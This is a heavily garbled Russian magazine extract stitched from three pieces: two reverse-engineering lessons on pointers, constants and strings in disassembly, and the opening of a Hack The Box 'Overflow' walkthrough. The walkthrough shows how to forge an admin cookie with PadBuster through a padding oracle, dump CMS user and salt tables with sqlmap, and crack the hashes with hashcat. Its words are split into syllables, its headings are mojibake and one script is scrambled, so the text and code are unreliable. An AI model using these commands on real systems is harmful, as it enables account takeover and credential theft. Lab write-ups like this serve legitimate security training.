; Готовим параметры для передачи:
; в RCX копируем указатель на строку...

                     mov rcx, rax
; ...в EDX — значение 5

                     mov edx, r8d
; Вызов функции вместе с передачей параметров

                    call MyFunc(char *,int)
                     mov [rbp+var_4], 0

; Обнуляем EAX для возвращения нуля
                     mov eax, [rbp+var_4]

; Очищаем стек
                     add rsp, 30h

; Закрываем кадр стека
                    pop rbp

               retn
main            endp

; __int64 __fastcall MyFunc(char *, int)
                  public MyFunc(char *, int)

    MyFunc(char *, int) proc near           ; CODE XREF: main+2B↓p
   var_C           = dword ptr -0Ch
   var_8           = qword ptr -8

; Открытие кадра стека
                   push rbp

; Выделение памяти
                     sub rsp, 10h

; Указатель кадра стека
                     lea rbp, [rsp+10h]

; Принятые параметры размещаем в локальных переменных
                     mov [rbp+var_8], rcx
                     mov [rbp+var_C], edx

; Первый параметр возвращаем в RCX
                     mov rcx, [rbp+var_8]

; Копирование двойного слова со знаком в четверное
                  movsxd rax, [rbp+var_C]

Сум ма непос редс твен ных зна чений исполь зует ся для кос венной адре сации
памяти. Этот при ем мы уже про ходи ли, раз бирая дизас сем блер ный лис тинг
от Visual C++. Одна ко воп рос все тот же: как понять, где кон стан та, а где ука- 
затель? Как и в пре дыду щем слу чае, необ ходимо про ана лизи ровать их зна- 
чения.

                       mov byte ptr [rcx+rax], 0Ah
; Копирование значений из локальных переменных в регистры

                     mov rax, [rbp+var_8]
                     mov edx, [rbp+var_C]

; Увеличение var_C на 1, а Visual C++ в этом месте использовал 
инструкцию inc

                     add edx, 1
; Копирование двойного слова со знаком в четверное

                  movsxd rcx, edx
; Снова косвенная адресация памяти, чтобы поставить после символа 
новой строки "\n" 0

                       mov byte ptr [rax+rcx], 0
; Восстановление стека

                     add rsp, 10h
; Закрытие кадра стека

                    pop rbp
               retn

   MyFunc(char *, int) endp

По срав нению с лис тингом от Visual C++ лис тинг от C++Builder име ет
минималь ные раз личия. Рань ше было не так... Даже не знаю, радовать ся это- 
му или огор чать ся.

Ïîðÿäîê èíäåêñîâ è óêàçàòåëåé

От крою малень кий сек рет: при сло жении ука зате ля с кон стан той боль шинс- 
тво ком пилято ров на пер вое мес то помеща ют ука затель, а на вто рое — кон- 
стан ту, каким бы ни было их рас положе ние в исходной прог рамме. Ина че
говоря, выраже ния , ,  и  ком пилиру ются в один
и тот же код! Даже если извра тить ся и написать так: , ком пилятор

все рав но выд винет  на пер вое мес то. Что это — осли ное упрямс тво, игра

слу чая или фича? Ответ до смеш ного прост — сло жение ука зате ля с кон стан- 
той дает ука затель! Поэто му резуль тат вычис лений всег да записы вает ся
в перемен ную типа «ука затель».

a[i] (a+i)[0] *(a+i) *(i+a)
(0)[i+a]

a

Вер немся к пос ледне му рас смот ренно му при меру
( ), при менив для ана лиза наше новое пра вило:combined_exp_types_cb

; Копирование значений из локальных переменных в регистры
                      mov rax, [rbp+var_8] ; В RAX теперь указатель на 

строку
                     mov edx, [rbp+var_C]

; Увеличение var_C на 1, а там (следовательно, теперь в регистре) 
значение 5

                     add edx, 1
; Копирование двойного слова со знаком в четверное

                   movsxd rcx, edx ; теперь значение 6 в RCX

 Опе рация сло жения ука зыва ет на то, что по край ней
мере один из них кон стан та, а дру гой — либо кон стан та, либо ука затель.
Сло жение RAX и RCX.

        mov byte ptr [rax+rcx], 0

Ага! Сум ма непос редс твен ных зна чений исполь зует ся для кос венной адре- 
сации памяти, зна чит, это кон стан та и ука затель. Но кто из них кто? С боль- 
шой сте пенью веро ятности  — ука затель (так оно и есть), пос коль ку он
сто ит на пер вом мес те, а  — индекс, так как он сто ит на вто ром!

RAX
RCX

Èñïîëüçîâàíèå LEA äëÿ ñëîæåíèÿ êîíñòàíò

Инс трук ция  широко исполь зует ся ком пилято рами не толь ко для ини- 

циали зации ука зате лей, но и для сло жения кон стант. Пос коль ку внут ренне
пред став ление кон стант и ука зате лей иден тично, резуль тат сло жения двух
ука зате лей иден тичен сум ме тож дес твен ных им кон стант. То есть 

, одна ко по сво им фун кци ональ ным воз- 

можнос тям  зна читель но обго няет . Вот, нап ример, 
, поп робуй то же самое «скор мить» инс трук ции !

LEA

LEA EBX, [
EBX+0x666] == ADD EBX, 0x666

LEA ADD LEA ESI, [
EAX*4+EBP-0x20] ADD

Встре тив в тек сте прог раммы коман ду , не торопись навеши вать

на воз вра щен ное ею зна чение ярлык «ука затель»: с не мень шим успе хом он
может ока зать ся и кон стан той! Если «подоз рева емый» ни разу не исполь зует- 
ся в выраже нии кос венной адре сации — никакой это не ука затель, а самая
нас тоящая кон стан та!

LEA

«Âèçóàëüíàÿ» èäåíòèôèêàöèÿ êîíñòàíò è óêàçàòåëåé

Вот нес коль ко при емов, помога ющих отли чить ука зате ли от кон стант.
1. В 64-раз рядных Windows-прог раммах ука зате ли могут при нимать огра- 

ничен ный диапа зон зна чений. Дос тупный про цес сорам реги он адресно го
прос транс тва начина ется со сме щения 

 и прос тира ется до сме щения 

. Поэто му все непос редс твен ные зна чения, мень шие

 и боль шие , пред став ляют
собой кон стан ты, а не ука зате ли. Исклю чение сос тавля ет чис ло ноль,
обоз нача ющее нулевой ука затель. Некото рые защит ные механиз мы
непос редс твен но обра щают ся к коду опе раци онной сис темы, рас- 
положен ному выше адре са , где начина ются вла- 

дения ядра.

0x00000000 00010000 0x000003FF 
FFFFFFFF
0x00000000 00010000 0x000003FF FFFFFFFF

0x000003FF FFFFFFFF

2. Ес ли непос редс твен ное зна чение сма хива ет на ука затель, пос мотри,
на что он ука зыва ет. Если по дан ному сме щению находит ся про лог фун- 
кции или осмыслен ная тек сто вая стро ка, ско рее все го, мы име ем дело
с ука зате лем, хотя, может быть, это все го лишь сов падение.

3. Заг ляни в таб лицу переме щаемых эле мен тов. Если адрес «под следс твен- 
ного» непос редс твен ного зна чения есть в таб лице, это, несом ненно, ука- 
затель. Беда в том, что боль шинс тво исполня емых фай лов непере меща- 
емы и такой при ем акту ален лишь для иссле дова ния DLL (а DLL переме- 
щаемы по опре деле нию).

К сло ву ска зать, дизас сем блер IDA Pro исполь зует все три опи сан ных спо- 
соба для авто мати чес кого опоз навания ука зате лей.

ÇÀÊËÞ×ÅÍÈÅ

Как мы уви дели выше, пра виль ное опре деле ние кон стант и сме щений
зависит от мно гих фун дамен таль ных фак торов: от опе раци онной сис темы, ее
раз ряднос ти, даже от язы ка ассем бле ра, в котором отра жает ся про цес- 
сорная архи тек тура! Эти понятия сос тавля ют осно ву любой прог раммы.
А рас смот ренные в статье при меры показа ли важ ность их пра виль ной иден- 
тифика ции.
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ВЗЛОМ

Ког да изу чаешь дизас сем бли рован ный лис тинг прог раммы
в целях понять, как она работа ет, очень час то нуж но отыс- 
кать в ней стро ки. В сегод няшней статье мы рас смот рим,
какие типы строк сущес тву ют, из каких сим волов они могут
сос тоять, какого раз мера быва ют сим волы и чем отли чает ся
стро ка от прос того набора бай тов. Еще мы обсу дим хра- 
нение, переда чу и обра бот ку строк раз ными ком пилято рами.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Ка залось бы, что может быть слож ного в иден тифика ции строк? Если то,
на что ссы лает ся ука затель, выг лядит как стро ка, это и есть стро ка! Более
того, в подав ляющем боль шинс тве слу чаев стро ки обна ружи вают ся и иден- 
тифици руют ся три виаль ным прос мотром дам па прог раммы (при усло вии,
конеч но, что они не зашиф рованы, но шиф рование — тема отдель ного раз- 
говора). Так-то оно так, да не все столь прос то!

За дача номер один — авто мати зиро ван ное выяв ление строк в прог рамме:
не про лис тывать же мегабай товые дам пы вруч ную? Сущес тву ет мно жес тво
алго рит мов иден тифика ции строк. Самый прос той (но не самый надеж ный)
осно ван на двух тезисах:

стро ка сос тоит из огра ничен ного ассорти мен та сим волов. В гру бом приб- 
лижении — это циф ры, бук вы алфа вита (вклю чая про белы), зна ки пре пина- 
ния и слу жеб ные сим волы наподо бие табуля ции или воз вра та карет ки;

•

стро ка дол жна сос тоять по край ней мере из нес коль ких сим волов.•

Ус ловим ся счи тать минималь ную дли ну стро ки рав ной N бай там. Тог да
для авто мати чес кого выяв ления всех строк дос таточ но отыс кать все пос- 
ледова тель нос ти из N и более «стро ковых» сим волов. Весь воп рос в том,
чему дол жна быть рав на N и какие сим волы счи тать «стро ковы ми».

Ес ли N име ет малое зна чение, поряд ка трех-четырех бай тов, то мы
получим очень боль шое количес тво лож ных сра баты ваний. Нап ротив, ког да N
велико, поряд ка шес ти-вось ми бай тов, чис ло лож ных сра баты ваний близ ко
к нулю и ими мож но пре неб речь, но все корот кие стро ки, нап ример , ,

, ока жут ся не рас позна ны! Дру гая проб лема: помимо зна ко-циф ровых сим- 

волов, в стро ках встре чают ся и эле мен ты псев догра фики (осо бен но час ты
они в кон соль ных при ложе ниях) и вся кие там «мор дашки», «стрел ки»,
«карапу зики» — сло вом, поч ти вся таб лица ASCII. Чем же тог да стро ка отли- 
чает ся от слу чай ной пос ледова тель нос ти бай тов? Час тотный ана лиз здесь
бес силен: ему для нор маль ной работы тре бует ся как минимум сот ня бай тов
тек ста, а мы говорим о стро ках из двух-трех сим волов!

OK YES
NO

Зай дем с дру гого кон ца. Если в прог рамме есть стро ка, зна чит, на нее
кто-нибудь да ссы лает ся. А раз так, мож но поис кать сре ди непос редс твен ных
зна чений ука затель на рас познан ную стро ку. И если он будет най ден, шан сы
на то, что это дей стви тель но имен но стро ка, а не слу чай ная пос ледова тель- 
ность бай тов, рез ко воз раста ют. Все прос то, не так ли?

Прос то, да не сов сем! Рас смот рим сле дующий при мер ( ):writeln_d

 program writeln_d;
begin
 Writeln('Hello, Sailor!');
end.

Ре зуль тат выпол нения writeln_d

От компи лиру ем этот при мер. Хотелось бы ска зать, любым Pascal-ком пилято- 
ром, толь ко любой нам не подой дет, пос коль ку нам нужен бинар ный код
под архи тек туру x86-64. Это авто мати чес ки сужа ет круг под ходящих ком- 
пилято ров. Даже популяр ный Free Pascal все еще не уме ет бил дить прог- 
раммы для Windows x64. Но не уби рай его далеко, он нам еще при годит ся.

В таком слу чае нам при дет ся вос поль зовать ся Embarcadero Delphi 10.4.
Нас трой ком пилятор для пос тро ения 64-бит ных при ложе ний и заг рузи
откомпи лиро ван ный файл в дизас сем блер:

IDA опре дели ла, что перед вызовом фун кции

в регистр  заг ружа ется ука затель на сме щение . Пос- 
мотрим, куда оно ука зыва ет (дваж ды щел кнем по нему):

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
RDX aHelloSailor

  .text:000000000040E6DC aHelloSailor: ; DATA XREF: 
_ZN9Writeln_d14initializationEv+26↑o

   .text:000000000040E6DC text "UTF-16LE", 'Hello, Sailor!',0

Ага! Текст в кодиров ке UTF-16LE. Что такое UTF-16, думаю, всем понят но. Два
конеч ных сим вола обоз нача ют порядок бай тов. В дан ном слу чае, пос коль ку
при ложе ние ском пилиро вано для архи тек туры x86-64, в которой исполь зует- 
ся порядок бай тов «от млад шего к стар шему» — , упо мяну тые сим- 
волы говорят имен но об этом. В про тиво полож ном слу чае, нап ример
на компь юте ре с про цес сором SPARC, кодиров ка име ла бы наз вание UTF-
16BE от .

little endian

big endian
Из это го сле дует, что Delphi кодиру ет каж дый сим вол перемен ным

количес твом бай тов: 2 или 4. Пос мотрим, как себя поведет Visual C++
2019 с ана логич ным кодом:

#include <stdio.h>

  int main() {
  printf("%s", "Hello, Sailor!");
}

Ре зуль тат дизас сем бли рова ния:

  main proc near
          sub rsp, 28h
           lea rdx, aHelloSailor ; "Hello, Sailor!"
          lea rcx, _Format      ; "%s"
        call printf
          xor eax, eax
          add rsp, 28h
    retn

 main endp

По инте ресу емся, что находит ся в сег менте дан ных толь ко для чте ния ( )
по сме щению :

rdata
aHelloSailor

       .rdata:0000000140002240 aHelloSailor db 'Hello, Sailor!',0 ; DATA 
XREF: main+4↑o

Ни каких допол нитель ных све дений о раз мере сим волов. Из это го мож но сде- 
лать вывод, что исполь зует ся стан дар тная 8-бит ная кодиров ка ASCII,
в которой под каж дый сим вол отво дит ся толь ко 1 байт.

Яд ро Windows NT изна чаль но исполь зовало для работы со стро ковы ми
сим волами кодиров ку UTF-16, одна ко до Windows 10 в поль зователь ском
режиме при меня лись две кодиров ки: UTF-16 и ASCII (ниж ние 128 сим волов
для англий ско го язы ка, вер хняя полови на — для рус ско го). Начиная
с Windows 10, в user mode исполь зует ся толь ко UTF-16. Меж ду тем сим волы
могут хра нить ся и в ASCII, что мы видели в при мере выше.

В C/C++  явля ется исходным типом сим вола и поз воля ет хра нить
любой сим вол ниж ней и вер хней час тей кодиров ки ASCII раз мером 8 бит.
Хотя реали зация типа  пол ностью лежит на совес ти раз работ чика

ком пилято ра, в Visual C++ он пред став ляет собой пол ный ана лог сим вола
кодиров ки UTF-16LE, то есть поз воля ет хра нить любой сим вол Юни кода.

char

wchar_t

Для демонс тра ции двух основных сим воль ных типов в Visual C++ напишем
эле мен тарный при мер:

#include <iostream>

  int main() {
       std::cout << "size of 'char': " << sizeof(char) << "\n";
       std::cout << "size of 'wchar': " << sizeof(wchar_t) << "\n";

    char line1[] = "Hello, Sailor!";
    wchar_t line2[] = L"Hello, Sailor!";

       std::cout << "size of 'array of chars': " << sizeof(line1) << "\n";
       std::cout << "size of 'array of wchars': " << sizeof(line2) << "\n"
;
}

Ре зуль тат его выпол нения пред став лен ниже.

Раз меры сим воль ных дан ных

Ду маю, все понят но без под робных пояс нений:  — 1 байт,  —

2 бай та. Стро ка "Hello, Sailor!" сос тоит из 14 сим волов, плюс конеч ный 0.
Это так же отра жено в выводе прог раммы.

char wchar_t

INFO

В стан дарте C++ есть типы сим волов: ,
, . Пер вый из них был

добав лен с вве дени ем стан дарта , два
дру гих добав лены в . Их раз мер отра жает- 
ся в их наз вани ях:  исполь зует ся
для сим волов кодиров ки UTF-16,  —
для UTF-32. При этом  не то же самое,
что «унас ледован ный» , хотя поз воля ет
работать с сим волами пос ледне го, глав ным обра- 
зом он пред назна чен для литера лов кодиров ки

.

char8_t
char16_t char32_t

C++20
C++11

char16_t
char32_t

char8_t
char

UTF-8

Раз меры сим волов важ ны для обна руже ния гра ниц строк при ана лизе дизас- 
сем блер ных лис тингов прог рамм.

Мож но сде лать вывод, что сов ремен ные Visual C++ и Delphi опе риру ют
оди нако выми типами строк, неваж но какого раз мера, но окан чива ющиеся
сим волом 0. Но так было не всег да. В качес тве исто ричес кого экскур са
откомпи лиру ем при мер  ком пилято ром Free Pascal.writeln_d

Сре да Free Pascal

Заг рузим резуль тат в IDA.

IDA опре дели ла, что заг ружа емый исполня емый файл 32-раз рядный

  _main proc near
      argc = dword ptr 8
      argv = dword ptr 0Ch
      envp = dword ptr 10h

         push ebp
           mov ebp, esp
         push ebx
         call FPC_INITIALIZEUNITS
         call fpc_get_output

           mov ebx, eax
            mov ecx, offset _$WRITELN_FP$_Ld1
           mov edx, ebx
           mov eax, 0
         call FPC_WRITE_TEXT_SHORTSTR
         call FPC_IOCHECK

           mov eax, ebx
         call fpc_writeln_end
         call FPC_IOCHECK
         call FPC_DO_EXIT

 _main endp

Так-так-так… какой инте рес ный код для нас при гото вил Free Pascal! Сра зу же
бро сает ся в гла за сме щение

_$WRITELN_FP$_Ld1 

ад рес которо го помеща ется в регистр  перед вызовом про цеду ры

, сво им наз вани ем намека ющей на вывод тек ста.

Пос той, ведь это же 32-раз рядная прог рамма, где переда ча парамет ров
в регис трах ско рее исклю чение, чем пра вило, и исполь зует ся толь ко при сог- 
лашении fastcall, в осталь ных же слу чаях парамет ры переда ются через стек!

ECX
FPC_WRITE_TEXT_SHORTSTR

Заг лянем-ка в докумен тацию по ком пилято ру… Есть кон такт! По умол- 
чанию в коде механиз ма вызова про цедур для про цес соров i386 исполь зует- 
ся сог лашение . У нор маль ных людей оно называ ется fastcall. И, пос- 

коль ку для плат формы x86 оно не стан дарти зиро вано, в отли чие от x64,
для переда чи парамет ров исполь зуют ся все сво бод ные регис тры! Поэто му
в том, что исполь зует ся регистр , нет ничего сверхъ естес твен ного.

register

ECX
Что бы окон чатель но убе дить ся в нашей догад ке, пос мотрим, как рас- 

поряжа ется передан ным парамет ром вызыва емая фун кция
:FPC_WRITE_TEXT_SHORTSTR

  FPC_WRITE_TEXT_SHORTSTR proc near
   ; CODE XREF: _main+1C↑p
   ; sub_403320+31↑p ...
       push ebx
       push esi
       push edi
         mov ebx, eax
         mov esi, edx
          mov edi, ecx ; Копирование параметра в регистр EDI

Но тут мно го чего копиру ется, поэто му эта инс трук ция не доказа тель ство.
Смот рим даль ше.

         mov edx, ds:FPC_THREADVAR_RELOCATE
        test edx, edx
    jz      short loc_40661C
         mov eax, ds:U_$SYSTEM_$$_INOUTRES
        call edx ; FPC_THREADVAR_RELOCATE
         jmp short loc_406621

; 
---------------------------------------------------------------------
------

 loc_40661C: ; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+11↑j
          mov eax, offset unk_40B154

 loc_406621: ; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+1A↑j
           cmp word ptr [eax], 0
        jnz loc_4066AC
         mov eax, [esi+4]
         cmp eax, 0D7B1h
    jl      short loc_40668C
         sub eax, 0D7B1h
    jz      short loc_40666C
         sub eax, 1
         jnz short loc_40668C
         mov esi, esi

Ага! Сле дующая инс трук ция копиру ет ука затель, пре обра зуя его в 32-раз- 
рядное зна чение без уче та зна ка (ука затель не может быть отри цатель ным).
Затем с помощью коман ды  срав нива ются зна чения двух регис тров: 
и . И если  боль ше или равен , выпол няет ся переход на мет ку

...

cmp EAX
EBX EAX EBX

loc_40665C

         movzx eax, byte ptr [edi]
         cmp eax, ebx
         jge short loc_40665C
         movzx eax, byte ptr [edi]
         mov edx, ebx
         sub edx, eax
         mov eax, esi
       call sub_4064F0
         lea esi, [esi+0]

 loc_40665C: ; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+49↑j

...где про исхо дит похожая на манипу ляцию со стро кой деятель ность.

         movzx ecx, byte ptr [edi]
         lea edx, [edi+1]
         mov eax, esi
       call sub_406460
   ...

Те перь мы смог ли убе дить ся в пра виль нос ти нашего пред положе ния! Вер- 
немся к основно му иссле дова нию и пос мотрим, что же скры вает ся
под подоз ритель ным сме щени ем:

      .rdata:00409004 _$WRITELN_FP$_Ld1 db 0Eh ; DATA XREF: _main+10↑o
     .rdata:00409005 db 48h ; H
     .rdata:00409006 db 65h ; e
     .rdata:00409007 db 6Ch ; l
     .rdata:00409008 db 6Ch ; l
     .rdata:00409009 db 6Fh ; o
     .rdata:0040900A db 2Ch ; ,
    .rdata:0040900B db 20h
     .rdata:0040900C db 53h ; S
     .rdata:0040900D db 61h ; a
     .rdata:0040900E db 69h ; i
     .rdata:0040900F db 6Ch ; l
     .rdata:00409010 db 6Fh ; o
     .rdata:00409011 db 72h ; r
     .rdata:00409012 db 21h ; !
      .rdata:00409013 db 0

Сог ласись, не это мы ожи дали уви деть. Одна ко пос ледова тель ное рас- 
положе ние сим волов стро ки «в стол бик» дела не меня ет. Инте ресен дру гой
момент: в начале стро ки сто ит чис ло, показы вающее количес тво сим волов
в стро ке, —  (14 в десятич ной сис теме).0xE

Ока зыва ется, мало иден тифици ровать стро ку, тре бует ся еще как минимум
опре делить ее гра ницы.

Продолжение статьи →
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ВЗЛОМ

В этой статье я покажу, как про водить ата ку
padding oracle и экс плу ати ровать сай ты
через SQL-инъ екцию. Затем мы получим
дос туп к машине через уяз вимость
в ExifTool и повысим при виле гии на хос те
через перепол нение буфера в поль- 
зователь ском при ложе нии.

По лиго ном нам пос лужит Overow — машина с пло щад ки , оце- 
нен ная как слож ная. Ее про хож дение дей стви тель но ока залось нес коль ко
запутан ным.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в , что бы было удоб нее обра щать ся

к ней:

/etc/hosts

10.10.11.119    overflow.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли три откры тых пор та:
22 — служ ба OpenSSH 7.6p1;•
25 — служ ба Postx SMTP;•
80 — веб-сер вер Apache 2.4.29.•

К SSH дос тупа мы пока не име ем, что делать с SMTP-сер вером на дан ном
эта пе, тоже неяс но, поэто му прос матри ваем веб.

Глав ная стра ница overow.htb

На сай те дос тупна регис тра ция и авто риза ция. Выпол ним оба дей ствия, что- 
бы получить дос туп к новым фун кци ям. Пос ле регис тра ции и вхо да на панели
сай та появят ся новые ссыл ки на нас трой ки про филя, а так же какие-то темати- 
чес кие статьи.

Стра ница Prole

Стра ница Blog

Ñêàíèðîâàíèå âåá-êîíòåíòà

Ни чего инте рес ного не обна ружив, я решил прос каниро вать катало ги и сай- 
ты. Это поможет нам най ти скры тый адми нис тра тором кон тент.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке мож но задать
сле дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

На бира ем коман ду

ffuf  256 -u http://overflow.htb/home/FUZZ -t -w php_files_common.txt 

Ре зуль тат ска ниро вания PHP-фай лов с помощью ffuf

Мы наш ли файл . Так же я прос каниро вал кор невой каталог сай та

и получил допол нитель но дирек торию , которая пока что нам ничего
не дает.

logs.php
config

Ре зуль тат ска ниро вания катало гов с помощью ffuf

При попыт ке зап росить содер жимое  получа ем сооб щение, что нам
зак рыт дос туп.

logs.php

Стра ница logs.php

ÒÎ×ÊÀ ÂÕÎÄÀ

Пе рехо дим к более глу боко му ана лизу тех нологий сай та. И обра тим вни- 
мание на стран ную пос ледова тель ность в cookie — .auth

Пе рех вачен ный зап рос на сер вер

Я поп робовал про вер нуть раз ные манипу ляции с этой стро кой: декоди рова- 
ние, час тичное изме нение, допол нение и уре зание. В резуль тате я нат кнул ся
на код отве та 302 и редирект на стра ницу  с парамет ром .logot.php err=1

От вет сер вера

Зап рос пос ле редирек та

От крыв эту стра ницу в бра узе ре, обна ружим сооб щение «Invalid padding», что
сра зу натал кива ет на мысль об ата ке padding oracle.

Со обще ние об ошиб ке

Padding oracle

Это ата ка на шиф рование CBC, при котором сооб щение раз бива ется на бло- 
ки дли ной X бай тов и каж дый блок ксо рит ся с пре дыду щим зашиф рован ным
бло ком. Затем резуль тат шиф рует ся. Что очень важ но, шиф рование выпол- 
няет ся бло ками фик сирован ного раз мера.

Что бы гаран тировать точ ное раз мещение откры того тек ста в одном
или нес коль ких бло ках, час то исполь зует ся допол нение (padding). Это допол- 
нение может быть выпол нено нес коль кими спо соба ми (самый рас простра- 
нен ный — PKCS7). В PKCS7 допол нение будет сос тоять из одно го и того же
чис ла: количес тва недос тающих бай тов.

Нап ример, если в откры том тек сте отсутс тву ют два бай та, то запол нение
будет . Суть ата ки зак люча ется в том, что мы, манипу лируя дан ными
и получая информа цию о вер ности допол нения, можем вскрыть весь
исходный текст.

\x02\x02

WWW

Под робнее о padding oracle attack в статье
на «Хаб рахаб ре»: , .часть 1 часть 2

Для работы будем исполь зовать скрипт . Я перере гис три ровал
поль зовате ля, получил куки и ука зал их это му чудо-скрип ту для работы.

PadBuster

 
padbuster http://overflow.htb/home/index.php 
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 

За пуск PadBuster

Нас про сят выб рать вари ант отве та, уве дом ляющий об ошиб ке допол нения.
Рекомен дован тре тий вари ант, его и ука зыва ем.

Вскры тие исходно го тек ста

В ито ге мы получа ем откры тый текст, зашиф рован ный в cookie: .

Теперь мы понима ем фор мат дан ных для аутен тифика ции. Сер вер рас- 
шифро выва ет куки и опре деля ет текуще го поль зовате ля. Но эта ата ка
помога ет не толь ко вскрыть зашиф рован ные дан ные, но и заново зашиф- 
ровать свои! Так мы можем ука зать PadBuster, что нуж но зашиф ровать подоб- 
ную стро ку для поль зовате ля Admin.

user=ralf

 
 

padbuster http://overflow.htb/home/index.php 
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX -plaintext "user=Admin"

Но вые переза шиф рован ные дан ные

Спус тя некото рое вре мя мы получим куки, при менив которые под клю чим ся
от име ни адми нис тра тора. На сай те нам ста новит ся дос тупна адми нис тра тив- 
ная панель, с которой мы можем получить дос туп к CMS Made Simple и най- 
ден ным ранее логам.

Фор ма авто риза ции Made Simple

Так как никаких учет ных дан ных у нас нет, нуж но про верить сущес тву ющие
экс пло иты, а для это го узнать вер сию про дук та. Исходни ки Made Simple
откры ты, и мож но под смот реть путь к фай лу с опи сани ем обновле ний: 

.

/doc/
CHANGELOG.txt

Вер сия Made Simple

В этом фай ле пос ледней упо мина ется вер сия 2.2.8. Ути лита 

для поис ка экс пло итов в базе Exploit-DB помога ет най ти PoC экс плу ата ции
SQL Injection для вер сии мень ше 2.2.10.

searchsploit

searchsploit 'CMS made simple'
searchsploit -p php/webapps/46635.py 

По иск экс пло итов с помощью searchsploit

Но про экс плу ати ровать уяз вимость не выходит, поэто му перей дем к логам.

Ло ги сай та

В самих логах ничего полез ного не находим. Одна ко если пос мотреть на зап- 
рос в Burp, то сам спо соб зап роса прив лека ет вни мание.

Зап рос логов в Burp

Стра ница  при нима ет параметр , а это новая точ ка вхо да!logs.php name

SQL Injection

Я веду нес коль ко сло варей, содер жащих раз ные пос ледова тель нос ти-триг- 
геры для раз ных уяз вимос тей. На сло варе для опре деле ния инъ екций SQL
у меня опре дели лось нес коль ко видов отве тов.

Burp Intruder — вклад ка Payload Positions

Ре зуль тат перебо ра

Что бы рас кру тить уяз вимость, вос поль зуем ся . Ука зыва ем получен- 

ные ранее cookie, а тес тиру емое мес то — сим волом .

sqlmap

*

   sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA 

Оп ределе ние наг рузки для экс плу ата ции

Sqlmap нашел уяз вимый зап рос, поэто му поп робу ем дос тать инте рес ные
дан ные. Пер вым делом получим спи сок баз дан ных (параметр ).--dbs

   sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA --dbs

Спи сок баз дан ных

Ло ги нам неин терес ны, слу жеб ная база — тоже, а вот  — это база

дан ных Made Simple. Она дол жна содер жать учет ные дан ные. Получим спи сок
таб лиц (параметр ) из этой базы (параметр ).

cmsmsdb

--tables -D

   sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb --tables

Спи сок таб лиц

Нас инте ресу ет таб лица . Выводим все содер жимое (параметр 

) из этой таб лицы (параметр ).

cms_users --
dump -T

   sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_users --dump

Со дер жимое таб лицы cms_users

По луча ем два хеша поль зователь ских паролей. Теперь поп робу ем их кряк- 
нуть. Made Simple исполь зует хеширо вание MD5 с солью по схе ме 

 (для  это режим 20). Соль мы можем получить как 

из таб лицы .

md5(salt 
+ pass) hashcat sitemask

cms_siteprefs

   sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_siteprefs --dump

Продолжение статьи →
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И ЭКСПЛУАТИРУЕМ БАГ В EXIFTOOL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Соль для хеша MD5

Хеш и соль нуж но записать в файл в фор мате , пос ле чего отдать

его на перебор в hashcat, который очень быс тро вер нет нам пароль поль- 
зовате ля editor.

hash:salt

 0 hashcat -a -m 20 hashes rockyou.txt 

Ре зуль тат перебо ра хешей

Учет ные дан ные помога ют авто ризо вать ся в Made Simple.

Глав ная стра ница CMS Made Simple

По гуляв по сай ту, находим новый домен. А это новая точ ка вхо да!

Стра ница User Dened Tags

